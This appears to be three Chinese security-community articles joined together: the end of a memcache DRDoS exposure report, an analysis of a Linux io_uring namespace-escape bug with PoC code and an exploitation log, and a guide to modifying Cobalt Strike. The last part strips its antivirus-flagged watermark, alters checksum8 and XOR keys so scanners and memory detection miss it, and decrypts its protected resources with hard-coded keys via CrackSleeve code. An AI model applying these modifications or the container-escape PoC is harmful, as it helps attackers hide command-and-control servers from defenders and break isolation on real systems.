– 同属于云服务器的亚马逊和阿里云差别很大。亚马逊市场份额全球第一，阿里云全球第三，而阿里云的受影响主机数目是aws的15倍。我们分析主要有2个原因：1.
aws的vpc做的非常方便，且默认存在，形成了一个安全的私有云网络组，进行了网络隔离，只开放有限的端口。而阿里云在vpc的研发过程中，经典网络作为一种过渡，在引导用户的过程中，可能有些许不当，很多用户往往会选择`0.0.0.0`完全开放，在主机上也不会设置iptables等。当然也可能是由于租户的的安全习惯，会觉得网络安全组很麻烦，安全意识也比较低，所以有了这后面的风险。针对云服务，应该还是要遵循租户完全隔离，最小权限2个基本原则。
–
针对ec2和vps对比可以看到，vps是受影响的重灾区，因为其架构了就没有一个完整或方便的vpc和网络安全组，即使有，如vultr等，为了用户的方便，也不是默认要求，会设置成作为可选的高级选项。所以网络隔离对安全事件的防御使尤为重要的。这点上亚马逊的lightsail同为vps，却做的非常好，默认有vpc,且可以很方便的与ec2,rdp等服务合并或分离vpc。
– 针对独立服务器(dedicated
server),不管是硬件还是软件上，做安全组都是很不方便的，所以基本无安全组，数据上看ovh和online都是份额很低，但是可利用的主机却排在前列。
– idc这一块，国内idc在数据上比较突出，可以反映出国内厂商的安全架构和意识，还有企业的acl策略等，都亟待提高。
**TOP 20 地理分布**
从国家分布上看:
中美都是名列前茅，因为其体量和基数都是比较全世界份额比较高的，
Shodan tcp
开放主机数量上，美国第一，中国第二，但受影响的数量上却是相反的，说明美国对udp的一些服务还是有防御的，可以看出我们安全体系和架构，还有运维能力和意识上，都有不少的差距。
**0x04 缓解措施和总结**
****
**Memcache 使用者**
memcache的用户建议将服务放置于可信域内，有外网时不要监听0.0.0.0,有特殊需求可以设置acl或者添加安全组。
为预防机器扫描和ssrf等攻击，可以将memcache的监听端口随机改为其他的。
鼓励用户升级到最新版本的memcache，并且使用[SASL](https://github.com/memcached/memcached/wiki/SASLAuthProtocol)设置密码来进行权限控制。
**网络层防御**
网络管理员应确保监控和防御来自UDP端口11211的入站流量。
打击攻击源：互联网服务提供商不应该允许在他们的网络上执行IP欺骗。IP欺骗DRDOS的根本原因。具体措施可以参考[BCP38](http://www.bcp38.info/index.php/Main_Page)。
ISP(互联网服务提供商) 应允许他们的客户使用[BGP
flowspec](https://www.cisco.com/c/en/us/td/docs/routers/asr9000/software/asr9k_r5-2/routing/configuration/guide/b_routing_cg52xasr9k/b_routing_cg52xasr9k_chapter_011.html)来限制入站UDP11211的流量，以减轻大型DRDOS攻击期间的拥塞。
**开发者**
开发人员不应该在没有仔细考虑UDP放大问题的情况下，推出自己的UDP协议。
**0x05 关于我们**
最后介绍一下我们，我们是0kee
team，来自于奇虎360的信息安全部，团队成员专注于WEB安全相关研究，在攻防领域拥有丰富的经验。更多关于我们的信息可以上我们的主页
[0kee.360.cn](http://0kee.360.cn)了解。 | 社区文章 |
# Linux "io_uring" namespace 的一个问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
看了jannh的[report](https://bugs.chromium.org/p/project-zero/issues/detail?id=2011), 有点迷迷糊糊的，于是跟着分析了一波。之前也分析过 io_uring
一个权限问题，io_uring代码还在频繁的更新，期间肯定会出现各种各样的安全问题，要找个时间研究一波hh.
## 环境配置
以下所有的分析都是在 ubuntu 18.04
虚拟机下，使用的是[linux-5.6](https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.6.tar.xz)
版本的内核，可以在[github](https://github.com/rtfingc/cve-repo/tree/master/0x02-p0-issue-2011-io_uring_namespace)上找到我的环境
## 漏洞分析
这个洞其实就是没有做好namespace的检查，最后导致可以读取其他namespace的文件，这放到容器里那就是逃逸了。这里从代码的层面看看究竟发生了什么。
### poc
可以在[这里](https://bugs.chromium.org/p/project-zero/issues/detail?id=2011)
找到jannh 的poc,
int main(void) {
// initialize uring
struct io_uring_params params = { };
int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, ¶ms));
unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
// execute openat via uring
sqes[0] = (struct io_uring_sqe) {
.opcode = IORING_OP_OPENAT,
.flags = IOSQE_ASYNC,
.fd = open("/", O_RDONLY),
.addr = (unsigned long)"/",
.open_flags = O_PATH | O_DIRECTORY
};
((int*)(sq_ring + params.sq_off.array))[0] = 0;
(*(int*)(sq_ring + params.sq_off.tail))++;
int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
主要看传入的 `sqes` 部分， 传入的opcode是`IORING_OP_OPENAT`, `IOSQE_ASYNC`
表示用异步的方式，打开的是`"/"` 目录
因为这里使用的内核是已经打上了补丁了，为了测试漏洞，我们需要手动patch一下，找到`fs/io_uring.c` 文件, 按照下面把对 fs的检查注释掉。
static inline void io_req_work_grab_env(struct io_kiocb *req,
const struct io_op_def *def)
{
if (!req->work.mm && def->needs_mm) {
mmgrab(current->mm);
req->work.mm = current->mm;
}
if (!req->work.creds)
req->work.creds = get_current_cred();
/*if (!req->work.fs && def->needs_fs) {*/
/*spin_lock(¤t->fs->lock);*/
/*if (!current->fs->in_exec) {*/
/*req->work.fs = current->fs;*/
/*req->work.fs->users++;*/
/*} else {*/
/*req->work.flags |= IO_WQ_WORK_CANCEL;*/
/*}*/
/*spin_unlock(¤t->fs->lock);*/
/*}*/
if (!req->work.task_pid)
req->work.task_pid = task_pid_vnr(current);
}
static inline void io_req_work_drop_env(struct io_kiocb *req)
{
if (req->work.mm) {
mmdrop(req->work.mm);
req->work.mm = NULL;
}
if (req->work.creds) {
put_cred(req->work.creds);
req->work.creds = NULL;
}
/*if (req->work.fs) {*/
/*struct fs_struct *fs = req->work.fs;*/
/*spin_lock(&req->work.fs->lock);*/
/*if (--fs->users)*/
/*fs = NULL;*/
/*spin_unlock(&req->work.fs->lock);*/
/*if (fs)*/
/*free_fs_struct(fs);*/
/*}*/
}
### 代码分析
`SYS_io_uring_enter` 之后的调用链如下
__do_sys_io_uring_enter
- io_submit_sqes
- io_submit_sqe
- io_queue_sqe
- io_req_defer_prep //<-- - io_req_work_grab_env
`io_req_defer_prep` 函对传入的各种opcode做switch， 我们传入的是`IORING_OP_OPENAT`,
对应调用`io_openat_prep`
break;
case IORING_OP_LINK_TIMEOUT:
ret = io_timeout_prep(req, sqe, true);
break;
case IORING_OP_ACCEPT:
ret = io_accept_prep(req, sqe);
break;
case IORING_OP_FALLOCATE:
ret = io_fallocate_prep(req, sqe);
break;
case IORING_OP_OPENAT: // <-------------------------------
ret = io_openat_prep(req, sqe);
break;
case IORING_OP_CLOSE:
ret = io_close_prep(req, sqe);
break;
case IORING_OP_FILES_UPDATE:
ret = io_files_update_prep(req, sqe);
`io_openat_prep` 主要是把sqes 的东西拿出来保存好, `io_req_defer_prep`
执行完之后会调用`io_queue_async_work(req)`
static int io_openat_prep(struct io_kiocb *req, const struct io_uring_sqe *sqe)
{
const char __user *fname;
int ret;
if (sqe->ioprio || sqe->buf_index)
return -EINVAL;
if (sqe->flags & IOSQE_FIXED_FILE)
return -EBADF;
if (req->flags & REQ_F_NEED_CLEANUP)
return 0;
req->open.dfd = READ_ONCE(sqe->fd);
req->open.how.mode = READ_ONCE(sqe->len);
fname = u64_to_user_ptr(READ_ONCE(sqe->addr));
req->open.how.flags = READ_ONCE(sqe->open_flags);
req->open.filename = getname(fname);
if (IS_ERR(req->open.filename)) {
ret = PTR_ERR(req->open.filename);
req->open.filename = NULL;
return ret;
}
req->open.nofile = rlimit(RLIMIT_NOFILE);
req->flags |= REQ_F_NEED_CLEANUP;
return 0;
}
`io_queue_async_work` 把`req->work` 加入到 work queue, 之后会启动一个内核线程来执行这个work
static inline void io_queue_async_work(struct io_kiocb *req)
{
struct io_ring_ctx *ctx = req->ctx;
struct io_kiocb *link;
bool do_hashed;
do_hashed = io_prep_async_work(req, &link);
trace_io_uring_queue_async_work(ctx, do_hashed, req, &req->work,
req->flags);
if (!do_hashed) {
io_wq_enqueue(ctx->io_wq, &req->work);
} else {
io_wq_enqueue_hashed(ctx->io_wq, &req->work,
file_inode(req->file));
}
if (link)
io_queue_linked_timeout(link);
}
实际调试看看，在[`fs/io_uring.c:912`](https://elixir.bootlin.com/linux/v5.6/source/fs/io_uring.c#L912)
处下个断点
gef➤ info args
req = 0xffff88800d042c00
sqe = 0xffff88800d0c8000
gef➤ p *req
$1 = {
{
file = 0xffff88800eec4800,
//....
open = {
file = 0xffff88800eec4800,
dfd = 0x0,
{
mask = 0x0
},
filename = 0x0 <fixed_percpu_data>,
buffer = 0x0 <fixed_percpu_data>,
how = {
flags = 0x0,
mode = 0x0,
resolve = 0x0
},
nofile = 0x0
},
//..
work = {
{
list = {
next = 0x0 <fixed_percpu_data>
},
data = 0x0 <fixed_percpu_data>
},
func = 0xffffffff81354760 <io_wq_submit_work>,// <===
files = 0xffff88800ed90580,
mm = 0x0 <fixed_percpu_data>,
creds = 0x0 <fixed_percpu_data>,
fs = 0x0 <fixed_percpu_data>,
flags = 0x0,
task_pid = 0x0
}
}
在work字段里对应的是`io_wq_submit_work` 函数，进入到这个函数，已经是内核线程了，我们可以下个断点看看
gef➤ bt
#0 io_wq_submit_work (workptr=0xffffc90000277e88) at fs/io_uring.c:4522
#1 0xffffffff81356bba in io_worker_handle_work (worker=0xffff88800e08df00) at fs/io-wq.c:511
#2 0xffffffff81357679 in io_wqe_worker (data=0xffff88800e08df00) at fs/io-wq.c:552
#3 0xffffffff810c0fe1 in kthread (_create=0xffff88800d066b00) at kernel/kthread.c:255
#4 0xffffffff81c00215 in ret_from_fork () at arch/x86/entry/entry_64.S:352
#5 0x0000000000000000 in ?? ()
gef➤ kcurrent
smp system (__per_cpu_offset) 0xffffffff8245c920
cpu_num 0x1
swapper_pgd 0x0
cpu #0 : 0xffff88800f200000
current_task: 0xffff88800eee1600 :io_wqe_worker-0
uid: 0x0 gid: 0x0 :cred 0xffff88800eec2540
mm: 0x0
pgd: 0x0
最后会进入`io_issue_sqe`函数，然后根据传进来的opcode做switch, 在内核线程里调用`io_openat`。
case IORING_OP_OPENAT:
if (sqe) {
ret = io_openat_prep(req, sqe);
if (ret)
break;
}
ret = io_openat(req, nxt, force_nonblock);
接着调用`do_filp_open` 来打开文件返回文件描述符。貌似没有什么问题呀，正常的调用openat， 正常的打开文件或文件夹。
这是应用场景的不同，这里出现漏洞的原因是它没有对不同的namespace做区分，namespace是linux对系统资源的一种隔离机制，我们熟悉的docker就有用到namespace的东西，namespace相关的东西可以参考[这篇文章](https://segmentfault.com/a/1190000009732550),写的真棒，这里不做过多的描述。
### 利用测试
完整的利用流程如下
/home/pwn # echo aaaa > /tmp/real
/home/pwn # echo $$
206
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:55 mnt -> mnt:[4026531840]
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)-+-grep(212)
/home/pwn # unshare -m --uts /bin/sh
/bin/sh: can't access tty; job control turned off
/home/pwn # echo $$
213
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)---sh(213)-+-grep(215)
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:56 mnt -> mnt:[4026532131]
/home/pwn # mount -t tmpfs none /tmp
/home/pwn # ls /tmp
/home/pwn # /exp
submitted 1, getevents done
cq_tail = 1
result: 5
launching shell
sh: can't access tty; job control turned off
/home/pwn # echo $$
223
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)---sh(213)---exp(220)---sh(223)-+-grep(225)
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:57 mnt -> mnt:[4026532131]
/home/pwn # ls -al /proc/$$/fd/
total 0
dr-x------ 2 root 0 0 Apr 15 02:58 .
dr-xr-xr-x 9 root 0 0 Apr 15 02:57 ..
lrwx------ 1 root 0 64 Apr 15 02:58 0 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 1 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 2 -> /dev/console
lr-x------ 1 root 0 64 Apr 15 02:58 4 -> /
l--------- 1 root 0 64 Apr 15 02:58 5 -> /
/home/pwn # cat /proc/$$/fd/5/tmp/real
aaaa
/home/pwn # C#
首先创建一个 `/tmp/real` 文件，写入`aaaa`, 看一下当前shell的 mount namespace，
记住他的id为`4026531840`,
/home/pwn # echo aaaa > /tmp/real
/home/pwn # echo $$
206
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:55 mnt -> mnt:[4026531840]
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)-+-grep(212)
接着用 `unshare` 创建一个新的 mount namespace, 然后mount 上 tmpfs, 可以看到namespace的
id是`4026532131`，和原来的不同， 这个时候就看不到原来namespace的目录下的东西了(想一下docker的隔离),
/home/pwn # unshare -m --uts /bin/sh
/bin/sh: can't access tty; job control turned off
/home/pwn # echo $$
213
/home/pwn # pstree -p |grep sh
init(1)---rcS(171)---sh(206)---sh(213)-+-grep(215)
/home/pwn # ls -al /proc/$$/ns |grep mnt
lrwxrwxrwx 1 root 0 0 Apr 15 02:56 mnt -> mnt:[4026532131]
/home/pwn # mount -t tmpfs none /tmp
/home/pwn # ls /tmp
接着运行 exp， 它会打开`/` 目录，返回的`fd`是 5
/home/pwn # /exp
submitted 1, getevents done
cq_tail = 1
result: 5
launching shell
sh: can't access tty; job control turned off
/home/pwn # echo $$
223
/home/pwn # ls -al /proc/$$/fd/
total 0
dr-x------ 2 root 0 0 Apr 15 02:58 .
dr-xr-xr-x 9 root 0 0 Apr 15 02:57 ..
lrwx------ 1 root 0 64 Apr 15 02:58 0 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 1 -> /dev/console
lrwx------ 1 root 0 64 Apr 15 02:58 2 -> /dev/console
lr-x------ 1 root 0 64 Apr 15 02:58 4 -> /
l--------- 1 root 0 64 Apr 15 02:58 5 -> /
/home/pwn # cat /proc/$$/fd/5/tmp/real
aaaa
进去看一下可以发现这里打开的是原来namespace的`"/"` 目录。
linux 默认情况下所有的进程都会有一个系统默认的namespace,
也就是说本身linux就是一个最初的容器，我们新的namespace只是在最初的容器下创建一个新容器罢了。
从前面的分析我们知道，最后由于是异步的调用，会在内核线程`io_wqe_worker-0` 里调用 `do_filp_open` `来打开目录，
所有的内核线程都继承自`kthreadd` 线程，使用的是默认的mount namespace
gef➤ kcurrent
smp system (__per_cpu_offset) 0xffffffff8245c920
cpu_num 0x1
swapper_pgd 0x0
cpu #0 : 0xffff88800f200000
current_task: 0xffff88800d080000 :io_wqe_worker-0
uid: 0x0 gid: 0x0 :cred 0xffff88800eec2840
mm: 0x0
pgd: 0x0
gef➤ kproc
0x1 :init : uid: 0 task: 0xffff88800ed88000
0x2 :kthreadd : uid: 0 task: 0xffff88800ed89600
0x3 :rcu_gp : uid: 0 task: 0xffff88800ed8ac00
//...
0xcf :sh : uid: 0 task: 0xffff88800d085800
0xd2 :exp : uid: 0 task: 0xffff88800d084200//
0xd3 :io_wq_manager : uid: 0 task: 0xffff88800d081600
0xd4 :io_wqe_worker-0 : uid: 0 task: 0xffff88800d080000//
我们看一下他们的namespace
gef➤ p *((struct task_struct *)0xffff88800d084200)->nsproxy // exp 进程
$1 = {
count = {
counter = 0x2
},
uts_ns = 0xffffffff82613620 <init_uts_ns>,
ipc_ns = 0xffffffff8273c7c0 <init_ipc_ns>,
mnt_ns = 0xffff88800d6ece80,
pid_ns_for_children = 0xffffffff8265f7e0 <init_pid_ns>,
net_ns = 0xffffffff827f5ec0 <init_net>,
time_ns = 0xffffffff826bc940 <init_time_ns>,
time_ns_for_children = 0xffffffff826bc940 <init_time_ns>,
cgroup_ns = 0xffffffff826c1780 <init_cgroup_ns>
}
gef➤ p *((struct task_struct *)0xffff88800ed89600)->nsproxy//kthreadd
$3 = {
count = {
counter = 0x35
},
uts_ns = 0xffffffff82613620 <init_uts_ns>,
ipc_ns = 0xffffffff8273c7c0 <init_ipc_ns>,
mnt_ns = 0xffff88800ec65680,
pid_ns_for_children = 0xffffffff8265f7e0 <init_pid_ns>,
net_ns = 0xffffffff827f5ec0 <init_net>,
time_ns = 0xffffffff826bc940 <init_time_ns>,
time_ns_for_children = 0xffffffff826bc940 <init_time_ns>,
cgroup_ns = 0xffffffff826c1780 <init_cgroup_ns>
}
gef➤ p *((struct task_struct *)0xffff88800d080000)->nsproxy//io_wqe_worker-0
$2 = {
count = {
counter = 0x35
},
uts_ns = 0xffffffff82613620 <init_uts_ns>,
ipc_ns = 0xffffffff8273c7c0 <init_ipc_ns>,
mnt_ns = 0xffff88800ec65680,
pid_ns_for_children = 0xffffffff8265f7e0 <init_pid_ns>,
net_ns = 0xffffffff827f5ec0 <init_net>,
time_ns = 0xffffffff826bc940 <init_time_ns>,
time_ns_for_children = 0xffffffff826bc940 <init_time_ns>,
cgroup_ns = 0xffffffff826c1780 <init_cgroup_ns>
}
gef➤
可以看到，`io_wqe_worker-0` 的`mnt_ns` 地址是`0xffff88800ec65680`
，和默认值一样，因为exp是运行在新的namespace下，它的`mnt_ns=0xffff88800d6ece80`，整理一下
* 1 exp 运行（`mnt_ns=0xffff88800d6ece80`)
* 2 io_uring 启动内核线程 openat, 内核线程`io_wqe_worker-0` 使用默认的`mnt_ns`
于是`io_wqe_worker-0` 看到的是一开始的mount namespace, 打开的也是原来namespace的`"/"`
目录，于是我们就可以通过这个fd来任意读里面的内容啦。
### 补丁
给出的[补丁](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ff002b30181d30cdfbca316dadd099c3ca0d739c)
如下, 添加了`fs` 字段，然后 启动内核线程前把 exp 的 fs 保存到 `req->work.fs` 里面
@@ -907,6 +915,16 @@ static inline void io_req_work_grab_env(struct io_kiocb *req,
}
if (!req->work.creds)
req->work.creds = get_current_cred();
+ if (!req->work.fs && def->needs_fs) {
+ spin_lock(¤t->fs->lock);
+ if (!current->fs->in_exec) {
+ req->work.fs = current->fs;
+ req->work.fs->users++;
+ } else {
+ req->work.flags |= IO_WQ_WORK_CANCEL;
+ }
+ spin_unlock(¤t->fs->lock);
+ }
}
static inline void io_req_work_drop_env(struct io_kiocb *req)
@@ -919,6 +937,16 @@ static inline void io_req_work_drop_env(struct io_kiocb *req)
put_cred(req->work.creds);
req->work.creds = NULL;
}
+ if (req->work.fs) {
+ struct fs_struct *fs = req->work.fs;
+
+ spin_lock(&req->work.fs->lock);
+ if (--fs->users)
+ fs = NULL;
+ spin_unlock(&req->work.fs->lock);
+ if (fs)
+ free_fs_struct(fs);
+ }
}
然后再在内核线程里面检查一致性。
if (work->fs && current->fs != work->fs)
current->fs = work->fs;
## 小结
总的来说这里和之前[cve-2019-19241](https://www.anquanke.com/post/id/200486),差不多，都是因为在内核线程里面没有做好检查，然后可以做一些不可描述的事情，漏洞本身其实也不能说是漏洞，就是忘了检查…通过这个issue学习了一波namespace和cgroup的东西，满足:P.
## reference
<https://bugs.chromium.org/p/project-zero/issues/detail?id=2011>
https://lore.kernel.org/io-uring/[email protected]/T/
https://lore.kernel.org/io-uring/[email protected]/T/
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ff002b30181d30cdfbca316dadd099c3ca0d739c>
<https://segmentfault.com/a/1190000009732550> | 社区文章 |
# 对Cobalt Strike进行一点二次开发
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 watermark去水印
watermark是CS中的水印,这个参数会在`Authorization.java`中进行赋值，从图中也能明显看出主要是对的auth文件的相关解析结果中来判断是否授权
而在生成Stager时会对授权进行判断:
`ListenerConfig.class`中`pad`方法便是基于水印参数添加特征码字符串,这一段水印代码也自然在所有AV的特征库中
因此这里我们只需要将其注释掉，然后操作和没有水印的操作一致即可去watermark水印，即不管何种判断都是最后添加一个空的字符串:
## 0x02 修改checksum8
在生成`HTTP/S
Stager`过程中,主要涉及的就是`GenerateHTTPStager类中的generate方法`,而前文已经提过CS会先参考对应的模板，然后将模板文件中的某部分参数进行修改回填,生成最后的Stager
其中也包括了类似UA头的回填(参考本地的profile文件)以及URI的获取:
至于为什么要通过`getURI`是因为我们知道当使用分段Payload传输时,还需要从远程服务器下载体积较大更复杂的stage，这时就会要访问stage的URL并且通过checksum8进行校验。
### Stager Url校验算法
当存储着Beacon配置和payload的stage服务器暴露在公网上的时候，是可以通过主动测绘手段发现的。
不幸的是，默认情况下访问该服务是一个伪装的404页面。这也导致了各类扫描器、空间测绘系统、威胁情报平台等并不能基于页面response信息进行有效判断。
随便在fofa上搜索CS服务器就能有一堆默认配置的服务器,这里随机挑选一个:
并且得知该Stage服务器开放在81端口上,使用Nmap的`grab_beacon_config`脚本进行探测,得到对应的URI为:
然后我们便能访问对应的Stage端口的URI来下载得到对应后阶段的Stage文件:
这里我们使用`CobaltStrikeParser`对Stage可以进行一定的解密,从解密的配置中可以看到PublicKey和C2
Server地址,也可以看出来这是一个标准的默认配置profile文件
Stager Url校验算法在公开的NSE脚本中可以找到，关键函数包括：`checksum8、MSFURI、isStager`
先看到对应的HTTPSStager生成部分:
这两个方法都是从`.profile`文件中寻找对应的配置,我们跟进第一个方法:
简单分析一下这个方法,`MSFURI`方法从大小写字母+数字的字符数组中随机指定长度的字符序列并调用checksum8函数计算字符序列的ASCII和与256的模是否等于固定值（32位Stage与64位Stage分别使用92、93作为固定值），如果相等返回字符序列，否则继续直至找到符合条件的字符序列。
其中`isStager`方法在WebServer中进行使用,也正是该类提供了对于Beacon端请求URI的判断和最终提供分阶段Payload供Beacon端下载的作用
这个WebServer继承于NanoHTTPD(微型服务器)，看一下它里面的处理逻辑，它的URI就相当于个参数，参数经过checksum8计算后等于92或者93就会返回信息了，这里其实把92和93改掉也可以，但是这个功能还想正常使用，只能改成小于256的，因为算法最后对256取余，也就是说，爆破256次必然能爆破出来。
因此我们可以重写`checksum8方法`,取消取余操作并且计算一个随机URI的checksum8的结果然后实现重写:
public class EchoTest {
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum;
}
public static void main(String[] args) throws Exception {
System.out.println(checksum8("index.js"));
}
}
最后只需要修改对应的isStager方法即可:
同时还需要修改对应`common/CommonUtils`中的MSFURI方法,该方法传递给Stager之后连接的URI的,因此我们在这里也需要写死我们刚刚定义的URI:
当然这一部分也可以在profile中进行说明,同样也可以避免空间测绘的全网扫描,这里只是针对使用默认profile文件
## 0x03.修改异或Beacon Config
我们知道Stage本身也是经过一系列异或加密的,而其中就包括了Beacon Config
Beacon Config的生成在`BeaconPayload类的exportBeaconStage`方法中:
最终Cobalt Strike会将Settings转化为bytes数组，然后使用固定的密钥进行Xor,并对剩余空白字段填入随机字符
如果继续跟进就会发现配置信息异或的是固定值，并且依据版本不同而不同:
> cs 3.x版本的配置信息是通过异或0x69解密出的，4.x版本的配置信息是通过异或0x2e解密出的。
我们的Stager中就包含着`Beacon Config`,如果想从Stager中查看对应的`Beacon
Config`需要Stager需要进行一定的自解密然后通过config部分异或
在这里我们使用如下的脚本先进行自解密:
import sys,struct
filename = sys.argv[1]
data = open(filename, 'rb').read()
t = bytearray(data[0x45:])
(a,b) = struct.unpack_from('<II', t)
key = a
t2 = t[8:]
out = ""
for i in range(len(t2)/4):
temp = struct.unpack_from('<I', t2[i*4:])[0]
temp ^= key
out += struct.pack('<I', temp)
key ^= temp
open(filename+'.decoded', 'wb').write(out)
由于已经知道是4的版本,我们直接将decode文件放入winhex中然后与`0x2e`异或:
从3.x到4.x，cs自解密的算法没变，自解密后再解密配置文件的算法只是密钥发生变化，而且是固定的
前文提到Stage中Config配置的生成在`BeaconPayload`中的exportBeaconStage方法中,其调用了`beacon_obfuscate`进行异或混淆
为了避免内存查杀,可以让其直接可以加载为无加密的资源（资源替换sleeve文件夹）去掉解密过程，让其直接读取字节数组后返回。或者替换加密密钥,不使用默认的0x2e或者3中的0x69,这里我们选取后者进行开发
考虑将其替换为`0x1e`
当然到这里更改完并没有解决问题,在CS中生成shellcode时是会有固定的参考模板,同时依赖了模板DLL,在CS
4.x之后资源文件都会加密形式存储在sleeve文件夹中:
因此我们在这里如果想要完全适配还需要将所有模板DLL中的异或密钥进行更改，但是必须要做的就是解密模板DLL,因此这就和认证流程相关，主要看`Authorization类`的构造方法
跟进setup最后到该方法`SleeveSecurity.registerKey`:
使用传入的值计算一个长度为256的摘要，再取0-16作为AES的密钥，取16-32作为HmacSHA256的密钥。这里就结束了，但是既然取了密钥，那么肯定要进行操作，可以在`SleeveSecurity.decrypt`方法中看到
校验HMAC，正确后进行AES解密。在`SleevedResource._readResource`方法中存在`decrypt`调用：
这个方法接受一个字符串作为文件路径，并将路径中的`resources/`替换为`sleeve/`，之后读取文件内容并进行解密。
因此其实最重要的部分就是在
SleevedResource.Setup(var15);
只有拿到这个Key我们才有办法解密，官方用这个key加密了sleeve下的dll，将key放在了`.auth`文件中，那么key是一个固定值
现在我们在分析一下`.auth`文件,其结构如下:
0 6位字节，特定的文件头
1 4位字节，转换为有符号整数后等于29999999
2 4位字节，转换为有符号整数后不等于0
3 1位字节，其值大于43小于128
4 1位字节，其值为16
5 16位字节，值为key，这里注意4.3版本还包含了之前的key和key长度
那么4.3版本的.auth文件有效长度应该为83位字节，即4.0版本为32位，之后每一个版本都在前面版本的基础上增加17位。
因此我们能通过一定的转换最终得到每个版本默认的key,最终利用已经前人写好的解密脚本进行解密即可:
[https://github.com/ca3tie1/CrackSleeve](https://)
注意在此处我进行了一定的替换,否则会解密失败:
import common.*;
import dns.SleeveSecurity;
import java.io.*;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
public class CrackSleeve {
private static byte[] OriginKey40 = {27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 };
private static byte[] OriginKey41 = {-128, -29, 42, 116, 32, 96, -72, -124, 65, -101, -96, -63, 113, -55, -86, 118 };
private static byte[] OriginKey42 = {-78, 13, 72, 122, -35, -44, 113, 52, 24, -14, -43, -93, -82, 2, -89, -96};
private static byte[] OriginKey43 = {58, 68, 37, 73, 15, 56, -102, -18, -61, 18, -67, -41, 88, -83, 43, -103};
private static byte[] CustomizeKey = null;
private String DecDir = "Resource/Decode/sleeve";
private String EncDir = "Resource/Encode/sleeve";
public static void main(String[] args) throws IOException {
if (args.length == 0 || args[0].equals("-h") || args[0].equals("--help")) {
System.out.println("UseAge: CrackSleeve OPTION [key]");
System.out.println("Options:");
System.out.println("\tdecode\t\tDecode sleeve files");
System.out.println("\tencode\t\tEncode sleeve files");
System.out.println("\tkey\t\tCustomize key string for encode sleeve files");
System.exit(0);
}
String option = args[0];
// if (option.toLowerCase().equals("encode"))
// {
// if (args.length <= 1){
// System.out.println("[-] Please enter key.");
// System.exit(0);
// }
// String CustomizeKeyStr = args[1];
// if (CustomizeKeyStr.length() < 16)
// {
// System.out.println("[-] key length must be 16.");
// System.exit(0);
// }
// System.out.println("Init Key: "+CustomizeKeyStr.substring(0,16));
// CustomizeKey = CustomizeKeyStr.substring(0,16).getBytes();
// }
CrackSleeve Cracker = new CrackSleeve();
// 使用正版key初始化SleeveSecurity中的key
if (option.equals("decode")){
CrackSleevedResource.Setup(OriginKey43);
Cracker.DecodeFile();
}else if (option.equals("encode")){
//CrackSleevedResource.Setup(CustomizeKey);
CrackSleevedResource.Setup(OriginKey43);
Cracker.EncodeFile();
}
}
private void DecodeFile() throws IOException {
// 文件保存目录
File saveDir = new File(this.DecDir);
if (!saveDir.isDirectory())
saveDir.mkdirs();
// 获取jar文件中sleeve文件夹下的文件列表
try {
String path = this.getClass().getClassLoader().getResource("sleeve").getPath();
String jarPath = path.substring(5,path.indexOf("!/"));
Enumeration<JarEntry> jarEnum = new JarFile(new File(jarPath)).entries();
while (jarEnum.hasMoreElements())
{
JarEntry Element = jarEnum.nextElement();
String FileName = Element.getName();
if (FileName.indexOf("sleeve")>=0 && !FileName.equals("sleeve/")) {
System.out.print("[+] Decoding "+FileName+"......");
byte[] decBytes = CrackSleevedResource.DecodeResource(FileName);
if (decBytes.length > 0) {
System.out.println("Done.");
CommonUtils.writeToFile(new File(saveDir,"../"+FileName),decBytes);
}
else
System.out.println("Fail.");
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
private void EncodeFile(){
// 文件保存目录
File saveDir = new File(this.EncDir);
if (!saveDir.isDirectory())
saveDir.mkdirs();
// 获取解密文件列表
File decDir = new File(this.DecDir);
File[] decFiles = decDir.listFiles();
if (decFiles.length == 0) {
System.out.println("[-] There's no file to encode, please decode first.");
System.exit(0);
}
for (File file : decFiles){
String filename = decDir.getPath()+"/"+file.getName();
System.out.print("[+] Encoding " + file.getName() + "......");
byte[] encBytes = CrackSleevedResource.EncodeResource(filename);
if (encBytes.length > 0) {
System.out.println("Done.");
CommonUtils.writeToFile(new File(saveDir,file.getName()),encBytes);
}
else
System.out.println("Fail.");
}
}
}
class CrackSleevedResource{
private static CrackSleevedResource singleton;
private SleeveSecurity data = new SleeveSecurity();
